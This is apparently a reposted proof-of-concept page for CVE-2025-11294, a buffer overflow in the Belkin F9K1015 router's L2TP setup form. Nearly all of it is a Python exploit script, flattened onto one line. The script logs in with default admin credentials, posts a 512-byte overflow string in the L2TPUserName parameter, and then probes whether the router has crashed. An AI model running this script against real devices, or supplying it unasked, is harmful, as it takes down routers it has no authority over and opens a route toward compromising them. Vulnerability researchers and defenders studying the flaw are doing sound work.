CVE-2025-11294：Belkin F9K1015路由器L2TP配置缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11294 - Belkin F9K1015 formL2TPSetup Buffer Overflow PoC # Exploits buffer overflow in L2TPUserName parameter # Author: Security Researcher import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1" USERNAME = "admin" PASSWORD = "admin" def exploit(target_url, username, password): """ Trigger buffer overflow in /goform/formL2TPSetup via L2TPUserName parameter. The vulnerable endpoint does not validate input length before copying L2TPUserName into a fixed-size buffer. """ session = requests.Session() session.verify = False # Step 1: Authenticate with low-privilege credentials login_url = f"{target_url}/login.cgi" login_data = { "pws": password, "username": username } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login attempt status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Craft malicious L2TPUserName payload (overflow buffer) # Buffer size estimated ~64 bytes; use 512 bytes to trigger overflow payload = "A" * 512 # Step 3: Send overflow payload to vulnerable endpoint exploit_url = f"{target_url}/goform/formL2TPSetup" exploit_data = { "L2TPUserName": payload, "L2TPPassword": "test123", "L2TPServerIP": "1.1.1.1", "L2TPEnable": "1" } try: resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[*] Exploit sent. Status: {resp.status_code}") print(f"[*] Response length: {len(resp.content)}") # Check if device crashed (connection refused or timeout) try: check = session.get(target_url, timeout=5) print(f"[-] Device still responsive: {check.status_code}") except: print("[+] Device appears to have crashed - possible successful exploitation!") return True except Exception as e: print(f"[+] Connection error (possible crash): {e}") return True if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") exploit(TARGET_URL, USERNAME, PASSWORD)